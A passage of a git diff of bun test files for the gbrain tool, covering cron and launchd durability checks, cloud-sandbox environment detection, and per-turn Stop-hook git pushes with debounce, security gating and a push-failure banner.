const r = installDurabilityCron('wiki', '/data/clones/wiki', 'main', 1800, true, 'linux');
|
||||
expect(r.status).toBe('skipped');
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('durabilityJobStatus — presence + liveness [D7]', () => {
|
||||
test('no scheduler binaries at all → kind none (never throws)', async () => {
|
||||
const empty = mkdtempSync(join(tmpdir(), 'no-bin3-'));
|
||||
const home = mkdtempSync(join(tmpdir(), 'jb-home-'));
|
||||
await withEnv({ PATH: empty, HOME: home }, async () => {
|
||||
const s = durabilityJobStatus('wiki', 1800, 'linux');
|
||||
expect(s.kind).toBe('none');
|
||||
expect(s.wrapperPresent).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
test('crontab line present (shim) → kind crontab, live', async () => {
|
||||
const shim = mkdtempSync(join(tmpdir(), 'shim-jb-'));
|
||||
writeFileSync(
|
||||
join(shim, 'crontab'),
|
||||
'#!/bin/sh\ncase "$1" in -l) echo "*/30 * * * * /x.sh # com.gbrain.brain-pull.wiki"; exit 0;; esac\nexit 1\n',
|
||||
{ mode: 0o755 },
|
||||
);
|
||||
const home = mkdtempSync(join(tmpdir(), 'jb-home2-'));
|
||||
await withEnv({ PATH: shim, HOME: home }, async () => {
|
||||
const s = durabilityJobStatus('wiki', 1800, 'linux');
|
||||
expect(s.kind).toBe('crontab');
|
||||
expect(s.live).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
test('stale pull log is reported (logFresh false)', async () => {
|
||||
const empty = mkdtempSync(join(tmpdir(), 'no-bin4-'));
|
||||
const home = mkdtempSync(join(tmpdir(), 'jb-home3-'));
|
||||
const logDir = join(home, '.gbrain');
|
||||
// A log last touched 3 hours ago against a 30-min interval.
|
||||
mkdirSync(logDir, { recursive: true });
|
||||
const log = join(logDir, 'brain-pull.log');
|
||||
writeFileSync(log, 'old\n');
|
||||
const old = new Date(Date.now() - 3 * 60 * 60 * 1000);
|
||||
utimesSync(log, old, old);
|
||||
await withEnv({ PATH: empty, HOME: home }, async () => {
|
||||
const s = durabilityJobStatus('wiki', 1800, 'linux');
|
||||
expect(s.logFresh).toBe(false);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('durabilityJobStatus — darwin launchd liveness [D7]', () => {
|
||||
async function darwinFixture(launchctlExit: number): Promise<ReturnType<typeof durabilityJobStatus>> {
|
||||
const home = mkdtempSync(join(tmpdir(), 'jb-mac-'));
|
||||
const plistDir = join(home, 'Library', 'LaunchAgents');
|
||||
mkdirSync(plistDir, { recursive: true });
|
||||
writeFileSync(join(plistDir, 'com.gbrain.brain-pull.wiki.plist'), '<plist/>');
|
||||
const shim = mkdtempSync(join(tmpdir(), 'shim-lc-'));
|
||||
writeFileSync(join(shim, 'launchctl'), `#!/bin/sh\nexit ${launchctlExit}\n`, { mode: 0o755 });
|
||||
return withEnv({ PATH: shim, HOME: home }, async () => durabilityJobStatus('wiki', 1800, 'darwin'));
|
||||
}
|
||||
|
||||
test('plist present + launchctl reports loaded → live', async () => {
|
||||
const s = await darwinFixture(0);
|
||||
expect(s.kind).toBe('launchd');
|
||||
expect(s.live).toBe(true);
|
||||
});
|
||||
|
||||
test('plist present but NOT loaded (the dead-job shape [D7]) → live=false', async () => {
|
||||
const s = await darwinFixture(1);
|
||||
expect(s.kind).toBe('launchd');
|
||||
expect(s.live).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -214,6 +214,11 @@ describe('bootstrap attach (machine-2 adoption, serial e2e)', () => {
|
||||
// Attach ADOPTS an existing brain — never claims brain ownership [CX2-12].
|
||||
expect(receipt!.brain_created_by_bootstrap).toBe(false);
|
||||
expect(receipt!.created_paths).toEqual([]);
|
||||
// Attach records repo_url from the adopted origin so the no-daemon push
|
||||
// gate (repoPhaseComplete) recognizes the repo phase as done on this
|
||||
// machine — without it the per-turn/session-end pushes defer forever, and
|
||||
// attach is the ONLY install path in a cloud sandbox.
|
||||
expect((receipt as { repo_url?: string }).repo_url).toContain('origin.git');
|
||||
}, 60_000);
|
||||
|
||||
test('attach steps are the ordered machine-2 todo list; re-attach preserves the same-workspace receipt', () => {
|
||||
|
||||
@@ -261,3 +261,49 @@ describe('bootstrap degraded modes (decline-everything + keyless, serial e2e)',
|
||||
expect(report.phases.find((p) => p.id === 'verify')!.state).toBe('done');
|
||||
}, 300_000);
|
||||
});
|
||||
|
||||
// ── cloud-sandbox simulation [D-cloud] ──────────────────────────────────────
|
||||
//
|
||||
// CLAUDE_CODE_REMOTE=true is the official cloud signal. This block pins the
|
||||
// three cloud behaviors end-to-end through the real dispatcher: the status
|
||||
// report names the environment, verify's execution_env check states the
|
||||
// degradations, and repo creation refuses fast with the attach flow.
|
||||
|
||||
describe('cloud-sandbox simulation (CLAUDE_CODE_REMOTE=true)', () => {
|
||||
const K = 'CLAUDE_CODE_REMOTE';
|
||||
let saved: string | undefined;
|
||||
beforeAll(() => {
|
||||
saved = process.env[K];
|
||||
process.env[K] = 'true';
|
||||
});
|
||||
afterAll(() => {
|
||||
if (saved === undefined) delete process.env[K];
|
||||
else process.env[K] = saved;
|
||||
});
|
||||
|
||||
test('status --json reports execution_environment: cloud-sandbox', async () => {
|
||||
const report = await statusReport(ws, { gbrainHomeDir: home });
|
||||
expect(report.execution_environment).toBe('cloud-sandbox');
|
||||
});
|
||||
|
||||
test('repo phase refuses creation with the attach flow (no half-created unpushable repo)', async () => {
|
||||
// Fake runner: gh + auth fine, no origin — the CREATE path would begin.
|
||||
const runner: ExecRunner = async (argv) => {
|
||||
const joined = argv.join(' ');
|
||||
if (joined.includes('gh --version') || joined.includes('auth status')) return { code: 0, stdout: 'ok', stderr: '' };
|
||||
if (joined.includes('remote get-url origin')) return { code: 2, stdout: '', stderr: 'error: No such remote' };
|
||||
return { code: 0, stdout: '', stderr: '' };
|
||||
};
|
||||
const origErr = console.error;
|
||||
let err = '';
|
||||
console.error = (...a: unknown[]) => { err += a.map(String).join(' ') + '\n'; };
|
||||
try {
|
||||
const code = await runBootstrap(['repo', '--workspace', ws], { runner });
|
||||
expect(code).toBe(2);
|
||||
expect(err).toContain('cloud sandbox');
|
||||
expect(err).toContain('gbrain bootstrap attach');
|
||||
} finally {
|
||||
console.error = origErr;
|
||||
}
|
||||
}, 60_000);
|
||||
});
|
||||
|
||||
@@ -26,7 +26,7 @@ import { execFileSync } from 'node:child_process';
|
||||
|
||||
import { runHook } from '../../src/commands/hook.ts';
|
||||
import { workspacePush, type WorkspacePushResult } from '../../src/core/workspace-push.ts';
|
||||
import { writeManifest } from '../../src/core/bootstrap/format.ts';
|
||||
import { writeManifest, writeReceipt } from '../../src/core/bootstrap/format.ts';
|
||||
|
||||
const OPENAI_KEY = 'sk-' + 'A1b2C3d4E5f6G7h8I9j0K1l2M3n4';
|
||||
const ENV_KEYS = ['HOME', 'GBRAIN_HOME', 'DATABASE_URL', 'GBRAIN_DATABASE_URL', 'GBRAIN_HOOKS', 'GBRAIN_GIT_ALLOW_FILE_TRANSPORT'] as const;
|
||||
@@ -87,6 +87,23 @@ beforeEach(() => {
|
||||
|
||||
// The initialized manifest is the security boundary the hook gates on.
|
||||
writeManifest(work, MANIFEST);
|
||||
// Repo phase complete: the receipt binds this workspace to its verified
|
||||
// origin (exact-URL binding for non-github transports) — without it the
|
||||
// no-daemon pushes defer by design (create-repo-first race protection).
|
||||
const toplevel = git(work, 'rev-parse', '--show-toplevel');
|
||||
mkdirSync(join(process.env.HOME!, '.gbrain', 'bootstrap'), { recursive: true });
|
||||
writeReceipt(join(process.env.HOME!, '.gbrain'), {
|
||||
receipt_version: 1,
|
||||
workspace_dir: toplevel,
|
||||
source_id: 'workspace',
|
||||
agent_name: 'persist-test',
|
||||
created_at: '2026-01-01T00:00:00.000Z',
|
||||
created_by: 'test',
|
||||
brain_created_by_bootstrap: false,
|
||||
created_paths: [],
|
||||
registrations: [],
|
||||
repo_url: bare,
|
||||
} as Parameters<typeof writeReceipt>[1] & { repo_url: string });
|
||||
pushes = [];
|
||||
});
|
||||
|
||||
@@ -161,3 +178,77 @@ describe('session-end → real workspace push', () => {
|
||||
expect(shipped).not.toContain('brain/safe.md'); // blocked atomically — nothing in the batch shipped
|
||||
}, 60_000);
|
||||
});
|
||||
|
||||
// ── per-turn Stop push [D3]: the /exit + VM-reclaim durability lane ─────────
|
||||
//
|
||||
// SessionEnd never fires on /exit; the Stop hook fires after EVERY assistant
|
||||
// turn. This chain proves a turn's authored work physically lands on the real
|
||||
// bare remote from a single `gbrain hook stop`, and that the per-root debounce
|
||||
// holds across consecutive stops.
|
||||
|
||||
describe('stop → real workspace push (per-turn durability)', () => {
|
||||
test('one stop banks the turn to origin; the next stop inside the window debounces', async () => {
|
||||
process.env.GBRAIN_STOP_PUSH_DEBOUNCE_MIN = '60';
|
||||
try {
|
||||
mkdirSync(join(work, 'brain'), { recursive: true });
|
||||
writeFileSync(join(work, 'brain', 'turn-note.md'), '# turn\n\nlearned during the turn\n');
|
||||
|
||||
const before = originHead(bare);
|
||||
const code = await runHook(['stop'], {
|
||||
write: () => {},
|
||||
cwd: work,
|
||||
spawnPush: realSpawnPush,
|
||||
stdin: JSON.stringify({ session_id: 'persist-stop', cwd: work }),
|
||||
});
|
||||
expect(code).toBe(0);
|
||||
expect(pushes).toHaveLength(1);
|
||||
const res = await pushes[0];
|
||||
expect(res.ok).toBe(true);
|
||||
expect(res.status).toBe('pushed');
|
||||
expect(originHead(bare)).not.toBe(before);
|
||||
|
||||
// Second stop, same window, clean tree — debounced, no second spawn.
|
||||
const code2 = await runHook(['stop'], {
|
||||
write: () => {},
|
||||
cwd: work,
|
||||
spawnPush: realSpawnPush,
|
||||
stdin: JSON.stringify({ session_id: 'persist-stop-2', cwd: work }),
|
||||
});
|
||||
expect(code2).toBe(0);
|
||||
expect(pushes).toHaveLength(1);
|
||||
} finally {
|
||||
delete process.env.GBRAIN_STOP_PUSH_DEBOUNCE_MIN;
|
||||
}
|
||||
}, 60_000);
|
||||
|
||||
test('debounce 0 (the cloud-sandbox default): consecutive dirty turns both land', async () => {
|
||||
process.env.GBRAIN_STOP_PUSH_DEBOUNCE_MIN = '0';
|
||||
try {
|
||||
mkdirSync(join(work, 'brain'), { recursive: true });
|
||||
writeFileSync(join(work, 'brain', 'a.md'), '# a\n');
|
||||
await runHook(['stop'], {
|
||||
write: () => {},
|
||||
cwd: work,
|
||||
spawnPush: realSpawnPush,
|
||||
stdin: JSON.stringify({ session_id: 'ps-z1', cwd: work }),
|
||||
});
|
||||
expect(pushes).toHaveLength(1);
|
||||
expect((await pushes[0]).ok).toBe(true);
|
||||
writeFileSync(join(work, 'brain', 'b.md'), '# b\n');
|
||||
await runHook(['stop'], {
|
||||
write: () => {},
|
||||
cwd: work,
|
||||
spawnPush: realSpawnPush,
|
||||
stdin: JSON.stringify({ session_id: 'ps-z2', cwd: work }),
|
||||
});
|
||||
expect(pushes).toHaveLength(2);
|
||||
const res2 = await pushes[1];
|
||||
expect(res2.ok).toBe(true);
|
||||
const shipped = git(bare, 'ls-tree', '-r', '--name-only', 'main');
|
||||
expect(shipped).toContain('brain/a.md');
|
||||
expect(shipped).toContain('brain/b.md');
|
||||
} finally {
|
||||
delete process.env.GBRAIN_STOP_PUSH_DEBOUNCE_MIN;
|
||||
}
|
||||
}, 60_000);
|
||||
});
|
||||
|
||||
@@ -0,0 +1,102 @@
|
||||
/**
|
||||
* execution-env.ts — detection matrices for the third bootstrap axis.
|
||||
* Pure signal-injected tests: nothing here reads the real process.env or
|
||||
* the real filesystem, so results are identical on any CI host.
|
||||
*/
|
||||
import { describe, expect, test } from 'bun:test';
|
||||
|
||||
import {
|
||||
detectExecutionEnvironment,
|
||||
isCredentialInjectingProxy,
|
||||
binaryOnPath,
|
||||
} from '../src/core/execution-env.ts';
|
||||
|
||||
const noFile = () => false;
|
||||
|
||||
describe('isCredentialInjectingProxy', () => {
|
||||
test('GH_TOKEN placeholder literal → true', () => {
|
||||
expect(isCredentialInjectingProxy({ GH_TOKEN: 'proxy-injected' })).toBe(true);
|
||||
});
|
||||
|
||||
test('GITHUB_TOKEN placeholder literal → true', () => {
|
||||
expect(isCredentialInjectingProxy({ GITHUB_TOKEN: 'proxy-injected' })).toBe(true);
|
||||
});
|
||||
|
||||
test('anthropic-egress JWT in https_proxy (either casing) → true', () => {
|
||||
expect(
|
||||
isCredentialInjectingProxy({ https_proxy: 'http://user:eyJx.anthropic-egress-control@proxy:8080' }),
|
||||
).toBe(true);
|
||||
expect(
|
||||
isCredentialInjectingProxy({ HTTPS_PROXY: 'http://x.ANTHROPIC-EGRESS.y@proxy:8080' }),
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
test('a real user token / ordinary proxy → false', () => {
|
||||
expect(isCredentialInjectingProxy({ GH_TOKEN: 'ghp_realtoken123' })).toBe(false);
|
||||
expect(isCredentialInjectingProxy({ https_proxy: 'http://corp-proxy:3128' })).toBe(false);
|
||||
expect(isCredentialInjectingProxy({})).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('detectExecutionEnvironment', () => {
|
||||
test('plain env, no container markers → local', () => {
|
||||
expect(detectExecutionEnvironment({ env: {}, fileExists: noFile })).toBe('local');
|
||||
});
|
||||
|
||||
test('CLAUDE_CODE_REMOTE=true → cloud-sandbox (primary official signal)', () => {
|
||||
expect(
|
||||
detectExecutionEnvironment({ env: { CLAUDE_CODE_REMOTE: 'true' }, fileExists: noFile }),
|
||||
).toBe('cloud-sandbox');
|
||||
});
|
||||
|
||||
test('CLAUDE_CODE_REMOTE with a non-true value is NOT the cloud signal', () => {
|
||||
expect(
|
||||
detectExecutionEnvironment({ env: { CLAUDE_CODE_REMOTE: '1' }, fileExists: noFile }),
|
||||
).toBe('local');
|
||||
});
|
||||
|
||||
test('cse_-prefixed remote session id → cloud-sandbox', () => {
|
||||
expect(
|
||||
detectExecutionEnvironment({
|
||||
env: { CLAUDE_CODE_REMOTE_SESSION_ID: 'cse_abc123' },
|
||||
fileExists: noFile,
|
||||
}),
|
||||
).toBe('cloud-sandbox');
|
||||
});
|
||||
|
||||
test('proxy-injected token signature → cloud-sandbox', () => {
|
||||
expect(
|
||||
detectExecutionEnvironment({ env: { GH_TOKEN: 'proxy-injected' }, fileExists: noFile }),
|
||||
).toBe('cloud-sandbox');
|
||||
});
|
||||
|
||||
test.each([
|
||||
['RENDER', { RENDER: 'true' }],
|
||||
['RAILWAY_ENVIRONMENT', { RAILWAY_ENVIRONMENT: 'production' }],
|
||||
['FLY_APP_NAME', { FLY_APP_NAME: 'my-app' }],
|
||||
] as const)('%s env → ephemeral-container', (_name, env) => {
|
||||
expect(detectExecutionEnvironment({ env, fileExists: noFile })).toBe('ephemeral-container');
|
||||
});
|
||||
|
||||
test('/.dockerenv marker → ephemeral-container', () => {
|
||||
expect(
|
||||
detectExecutionEnvironment({ env: {}, fileExists: (p) => p === '/.dockerenv' }),
|
||||
).toBe('ephemeral-container');
|
||||
});
|
||||
|
||||
test('cloud signals win over container signals (a sandbox is also a container)', () => {
|
||||
expect(
|
||||
detectExecutionEnvironment({
|
||||
env: { CLAUDE_CODE_REMOTE: 'true', RENDER: 'true' },
|
||||
fileExists: (p) => p === '/.dockerenv',
|
||||
}),
|
||||
).toBe('cloud-sandbox');
|
||||
});
|
||||
});
|
||||
|
||||
describe('binaryOnPath', () => {
|
||||
test('a binary every host has resolves; a nonsense name does not', () => {
|
||||
expect(binaryOnPath('sh')).toBe(true);
|
||||
expect(binaryOnPath('definitely-not-a-real-binary-xyz')).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -8,7 +8,7 @@
|
||||
import { describe, test, expect, beforeEach, afterEach } from 'bun:test';
|
||||
import {
|
||||
copyFileSync, existsSync, mkdirSync, mkdtempSync, readdirSync, readFileSync,
|
||||
rmSync, utimesSync, writeFileSync,
|
||||
rmSync, statSync, utimesSync, writeFileSync,
|
||||
} from 'node:fs';
|
||||
import net from 'node:net';
|
||||
import { execFileSync } from 'node:child_process';
|
||||
@@ -23,8 +23,10 @@ import {
|
||||
HEARTBEAT_MAX_LINES,
|
||||
DIGEST_MEMORY_CAP_BYTES,
|
||||
memoryDigest,
|
||||
PUSH_ANNOUNCE_REFIRE_MS,
|
||||
type HookHeartbeatEntry,
|
||||
} from '../src/commands/hook.ts';
|
||||
import { pushStatusPathForRoot } from '../src/core/workspace-push.ts';
|
||||
import {
|
||||
ensureIpcSecret,
|
||||
resolveSocketPath,
|
||||
@@ -36,7 +38,12 @@ import { writeReceipt } from '../src/core/bootstrap/format.ts';
|
||||
import type { RepoReceipt } from '../src/core/bootstrap/repo.ts';
|
||||
|
||||
const FIXTURE = join(import.meta.dir, 'fixtures', 'conversation-formats', 'claude-code.jsonl');
|
||||
const ENV_KEYS = ['GBRAIN_HOME', 'DATABASE_URL', 'GBRAIN_DATABASE_URL', 'GBRAIN_SOURCE', 'GBRAIN_HOOKS'] as const;
|
||||
const ENV_KEYS = [
|
||||
'GBRAIN_HOME', 'DATABASE_URL', 'GBRAIN_DATABASE_URL', 'GBRAIN_SOURCE', 'GBRAIN_HOOKS',
|
||||
// stop-push [D3/D17/D20] + banner [D5] + cloud detection knobs
|
||||
'GBRAIN_STOP_PUSH', 'GBRAIN_STOP_PUSH_DEBOUNCE_MIN', 'CLAUDE_CODE_REMOTE',
|
||||
'CLAUDE_CODE_REMOTE_SESSION_ID', 'GH_TOKEN', 'GITHUB_TOKEN',
|
||||
] as const;
|
||||
|
||||
let tmp: string;
|
||||
let saved: Record<string, string | undefined>;
|
||||
@@ -906,6 +913,275 @@ describe('bootstrap push gate [G4]', () => {
|
||||
});
|
||||
});
|
||||
|
||||
// ── stop-hook per-turn push [D3/D17/D20] ────────────────────────────────────
|
||||
//
|
||||
// SessionEnd never fires on /exit and a cloud VM can be reclaimed between
|
||||
// turns; the Stop boundary is the only always-runs cadence. These tests pin:
|
||||
// the security gate (same as session-end), per-root debounce isolation, the
|
||||
// kill switch, the failing-status bypass, and fail-open state handling.
|
||||
|
||||
function stopIo(repo: string, spawned: string[]) {
|
||||
return {
|
||||
write: () => {},
|
||||
spawnPush: (root: string) => { spawned.push(root); },
|
||||
stdin: JSON.stringify({ session_id: 'sess-stop-push', cwd: repo }),
|
||||
};
|
||||
}
|
||||
|
||||
function bootRepo(name: string, opts: { repoPhase?: boolean; clean?: boolean } = {}): string {
|
||||
const repo = join(tmp, name);
|
||||
initGitRepoWithDirtyTree(repo);
|
||||
writeFileSync(join(repo, 'agent.json'), JSON.stringify(INITIALIZED_MANIFEST, null, 2) + '\n');
|
||||
if (opts.repoPhase !== false) markRepoPhaseComplete(repo);
|
||||
if (opts.clean) {
|
||||
execFileSync('git', ['-C', repo, 'add', '-A'], { stdio: 'ignore' });
|
||||
execFileSync('git', ['-C', repo, '-c', 'user.email=t@t', '-c', 'user.name=t', 'commit', '-qm', 'init'], { stdio: 'ignore' });
|
||||
// Model a FULLY-PUSHED clean repo: origin/<branch> == HEAD, so treeNeedsPush
|
||||
// measures zero commits ahead (a committed-but-never-pushed repo correctly
|
||||
// reports needs-push under the new origin-ref-based measure).
|
||||
const branch = execFileSync('git', ['-C', repo, 'branch', '--show-current'], { encoding: 'utf8' }).trim();
|
||||
const head = execFileSync('git', ['-C', repo, 'rev-parse', 'HEAD'], { encoding: 'utf8' }).trim();
|
||||
execFileSync('git', ['-C', repo, 'update-ref', `refs/remotes/origin/${branch}`, head], { stdio: 'ignore' });
|
||||
}
|
||||
return repo;
|
||||
}
|
||||
|
||||
const stopPushStateFiles = () => {
|
||||
try {
|
||||
return readdirSync(join(home(), 'bootstrap')).filter((n) => n.startsWith('stop-push-'));
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
};
|
||||
|
||||
describe('stop-hook per-turn push [D3]', () => {
|
||||
test('dirty initialized workspace: stop spawns the detached push, records per-root state (0600), heartbeat push_spawned', async () => {
|
||||
const repo = bootRepo('stop-boot');
|
||||
const spawned: string[] = [];
|
||||
expect(await runHook(['stop'], stopIo(repo, spawned))).toBe(0);
|
||||
expect(spawned).toHaveLength(1);
|
||||
expect((await lastHeartbeat())?.reason).toBe('push_spawned');
|
||||
const states = stopPushStateFiles();
|
||||
expect(states).toHaveLength(1);
|
||||
const mode = statSync(join(home(), 'bootstrap', states[0]!)).mode & 0o777;
|
||||
expect(mode).toBe(0o600);
|
||||
});
|
||||
|
||||
test('second stop inside the debounce window: push_debounced, no second spawn', async () => {
|
||||
process.env.GBRAIN_STOP_PUSH_DEBOUNCE_MIN = '5';
|
||||
const repo = bootRepo('stop-debounce');
|
||||
const spawned: string[] = [];
|
||||
await runHook(['stop'], stopIo(repo, spawned));
|
||||
await runHook(['stop'], stopIo(repo, spawned));
|
||||
expect(spawned).toHaveLength(1);
|
||||
expect((await lastHeartbeat())?.reason).toBe('push_debounced');
|
||||
});
|
||||
|
||||
test('GBRAIN_STOP_PUSH_DEBOUNCE_MIN=0 pushes every turn', async () => {
|
||||
process.env.GBRAIN_STOP_PUSH_DEBOUNCE_MIN = '0';
|
||||
const repo = bootRepo('stop-zero');
|
||||
const spawned: string[] = [];
|
||||
await runHook(['stop'], stopIo(repo, spawned));
|
||||
await runHook(['stop'], stopIo(repo, spawned));
|
||||
expect(spawned).toHaveLength(2);
|
||||
});
|
||||
|
||||
test('cloud-sandbox default is debounce 0 (CLAUDE_CODE_REMOTE=true, no explicit knob) [D17]', async () => {
|
||||
process.env.CLAUDE_CODE_REMOTE = 'true';
|
||||
const repo = bootRepo('stop-cloud');
|
||||
const spawned: string[] = [];
|
||||
await runHook(['stop'], stopIo(repo, spawned));
|
||||
await runHook(['stop'], stopIo(repo, spawned));
|
||||
expect(spawned).toHaveLength(2);
|
||||
});
|
||||
|
||||
test('GBRAIN_STOP_PUSH=0 disables the per-turn push (buffer append still runs)', async () => {
|
||||
process.env.GBRAIN_STOP_PUSH = '0';
|
||||
const repo = bootRepo('stop-disabled');
|
||||
const spawned: string[] = [];
|
||||
await runHook(['stop'], stopIo(repo, spawned));
|
||||
expect(spawned).toEqual([]);
|
||||
expect((await lastHeartbeat())?.reason).toBe('push_disabled');
|
||||
});
|
||||
|
||||
test('non-bootstrap git repo: never spawns (same security boundary as session-end)', async () => {
|
||||
const repo = join(tmp, 'stop-plain');
|
||||
initGitRepoWithDirtyTree(repo);
|
||||
const spawned: string[] = [];
|
||||
await runHook(['stop'], stopIo(repo, spawned));
|
||||
expect(spawned).toEqual([]);
|
||||
expect((await lastHeartbeat())?.reason).toBe('push_skipped_not_bootstrap');
|
||||
});
|
||||
|
||||
test('repo phase pending (no repo_url): defers, never publishes to an unverified origin', async () => {
|
||||
const repo = bootRepo('stop-pending', { repoPhase: false });
|
||||
const spawned: string[] = [];
|
||||
await runHook(['stop'], stopIo(repo, spawned));
|
||||
expect(spawned).toEqual([]);
|
||||
expect((await lastHeartbeat())?.reason).toBe('push_deferred_repo_pending');
|
||||
});
|
||||
|
||||
test('clean tree with nothing ahead: push_clean, no spawn (CRITICAL regression: buffer append unchanged)', async () => {
|
||||
const repo = bootRepo('stop-clean', { clean: true });
|
||||
const spawned: string[] = [];
|
||||
await runHook(['stop'], stopIo(repo, spawned));
|
||||
expect(spawned).toEqual([]);
|
||||
expect((await lastHeartbeat())?.reason).toBe('push_clean');
|
||||
// the live-buffer append still happened (stop's original contract)
|
||||
const bufDir = join(home(), 'transcripts', 'live');
|
||||
expect(readdirSync(bufDir).some((n) => n.includes('sess-stop-push'))).toBe(true);
|
||||
});
|
||||
|
||||
test('corrupt per-root state file is treated as due (fail-open)', async () => {
|
||||
process.env.GBRAIN_STOP_PUSH_DEBOUNCE_MIN = '5';
|
||||
const repo = bootRepo('stop-corrupt');
|
||||
const spawned: string[] = [];
|
||||
await runHook(['stop'], stopIo(repo, spawned));
|
||||
const state = stopPushStateFiles()[0]!;
|
||||
writeFileSync(join(home(), 'bootstrap', state), 'not json');
|
||||
await runHook(['stop'], stopIo(repo, spawned));
|
||||
expect(spawned).toHaveLength(2);
|
||||
});
|
||||
|
||||
test('[D20] a failing push-status bypasses the debounce (retry next turn)', async () => {
|
||||
process.env.GBRAIN_STOP_PUSH_DEBOUNCE_MIN = '60';
|
||||
const repo = bootRepo('stop-retry');
|
||||
const toplevel = execFileSync('git', ['-C', repo, 'rev-parse', '--show-toplevel'], { encoding: 'utf8' }).trim();
|
||||
const spawned: string[] = [];
|
||||
await runHook(['stop'], stopIo(repo, spawned));
|
||||
expect(spawned).toHaveLength(1);
|
||||
// Simulate the detached child recording a refusal for THIS root.
|
||||
writeFileSync(
|
||||
pushStatusPathForRoot(toplevel),
|
||||
JSON.stringify({ ts: new Date().toISOString(), ok: false, reason: 'refused_visibility', repoRoot: toplevel }) + '\n',
|
||||
{ mode: 0o600 },
|
||||
);
|
||||
// Inside the 60s failing-retry floor: still debounced (no spawn storm)…
|
||||
await runHook(['stop'], stopIo(repo, spawned));
|
||||
expect(spawned).toHaveLength(1);
|
||||
// …but once the floor passes, the failing status bypasses the 60-MINUTE
|
||||
// debounce window (age the state file past the floor).
|
||||
const stateFile = join(home(), 'bootstrap', stopPushStateFiles()[0]!);
|
||||
const aged = JSON.parse(readFileSync(stateFile, 'utf8')) as { ts: string; root: string };
|
||||
writeFileSync(stateFile, JSON.stringify({ ...aged, ts: new Date(Date.now() - 90_000).toISOString() }) + '\n');
|
||||
await runHook(['stop'], stopIo(repo, spawned));
|
||||
expect(spawned).toHaveLength(2); // floor passed → failing status bypassed the 60min window
|
||||
});
|
||||
|
||||
test('[D3] two workspaces debounce independently (per-root state, no clobber)', async () => {
|
||||
process.env.GBRAIN_STOP_PUSH_DEBOUNCE_MIN = '60';
|
||||
const a = bootRepo('stop-ws-a');
|
||||
const b = join(tmp, 'stop-ws-b');
|
||||
initGitRepoWithDirtyTree(b);
|
||||
writeFileSync(join(b, 'agent.json'), JSON.stringify(INITIALIZED_MANIFEST, null, 2) + '\n');
|
||||
// B gets its own receipt? One receipt per home — markRepoPhaseComplete
|
||||
// overwrites. Root-binding means only the receipt's workspace pushes; the
|
||||
// OTHER workspace must be treated as repo-phase-pending, not crash.
|
||||
const spawned: string[] = [];
|
||||
await runHook(['stop'], stopIo(a, spawned));
|
||||
expect(spawned).toHaveLength(1);
|
||||
await runHook(['stop'], stopIo(b, spawned));
|
||||
expect(spawned).toHaveLength(1); // b defers (no receipt binding) — and does NOT clobber a's state
|
||||
expect((await lastHeartbeat())?.reason).toBe('push_deferred_repo_pending');
|
||||
await runHook(['stop'], stopIo(a, spawned));
|
||||
expect(spawned).toHaveLength(1); // a still debounced — b's activity didn't reset a
|
||||
expect((await lastHeartbeat())?.reason).toBe('push_debounced');
|
||||
});
|
||||
});
|
||||
|
||||
// ── push-failure banner [D5/D13/D19] ────────────────────────────────────────
|
||||
|
||||
describe('user-prompt push-failure banner [D5]', () => {
|
||||
// repoRoot must EXIST on disk: entries for deleted workspaces are ghosts
|
||||
// the reader filters out by design (they could never be cleared).
|
||||
const bannerRoot = () => {
|
||||
const r = join(tmp, 'banner-brain');
|
||||
mkdirSync(r, { recursive: true });
|
||||
return r;
|
||||
};
|
||||
const failingStatus = (root: string, ts = new Date().toISOString()) => {
|
||||
mkdirSync(join(home(), 'bootstrap'), { recursive: true });
|
||||
writeFileSync(
|
||||
pushStatusPathForRoot(root),
|
||||
JSON.stringify({ ts, ok: false, reason: 'refused_visibility: origin unverifiable', repoRoot: root }) + '\n',
|
||||
{ mode: 0o600 },
|
||||
);
|
||||
};
|
||||
|
||||
test('failing push-status → banner-only payload on a degraded path, with BOTH additionalContext and systemMessage', async () => {
|
||||
const root = bannerRoot();
|
||||
failingStatus(root);
|
||||
const out = collectStdout();
|
||||
// No config at all → degraded no_pglite_path; the banner must still land.
|
||||
expect(await runHook(['user-prompt'], { ...out.io, stdin: JSON.stringify({ prompt: 'hi' }) })).toBe(0);
|
||||
const payload = JSON.parse(out.get()) as {
|
||||
hookSpecificOutput?: { additionalContext?: string };
|
||||
systemMessage?: string;
|
||||
};
|
||||
expect(payload.hookSpecificOutput?.additionalContext).toContain('FAILING');
|
||||
expect(payload.hookSpecificOutput?.additionalContext).toContain('banner-brain');
|
||||
expect(payload.systemMessage).toContain('NOT on GitHub');
|
||||
});
|
||||
|
||||
test('banner announces once per failure ts, then stays quiet [D19]', async () => {
|
||||
const root = bannerRoot();
|
||||
failingStatus(root);
|
||||
const first = collectStdout();
|
||||
await runHook(['user-prompt'], { ...first.io, stdin: JSON.stringify({ prompt: 'hi' }) });
|
||||
expect(first.get()).toContain('FAILING');
|
||||
const second = collectStdout();
|
||||
await runHook(['user-prompt'], { ...second.io, stdin: JSON.stringify({ prompt: 'hi again' }) });
|
||||
expect(second.get()).toBe(''); // announced — no re-fire inside the floor
|
||||
});
|
||||
|
||||
test('a NEW failure ts re-announces immediately; a persisting one re-fires after the 30-min floor [D19]', async () => {
|
||||
const root = bannerRoot();
|
||||
failingStatus(root, '2026-08-12T00:00:00.000Z');
|
||||
const first = collectStdout();
|
||||
await runHook(['user-prompt'], { ...first.io, stdin: JSON.stringify({ prompt: 'x' }) });
|
||||
expect(first.get()).toContain('FAILING');
|
||||
// Same ts + fresh announce → quiet. Age the announce past the floor → re-fires.
|
||||
const announced = `${pushStatusPathForRoot(root)}.announced`;
|
||||
const state = JSON.parse(readFileSync(announced, 'utf8')) as { announced_ts: string };
|
||||
writeFileSync(
|
||||
announced,
|
||||
JSON.stringify({ announced_ts: state.announced_ts, last_announce_at: new Date(Date.now() - PUSH_ANNOUNCE_REFIRE_MS - 60_000).toISOString() }) + '\n',
|
||||
);
|
||||
const third = collectStdout();
|
||||
await runHook(['user-prompt'], { ...third.io, stdin: JSON.stringify({ prompt: 'z' }) });
|
||||
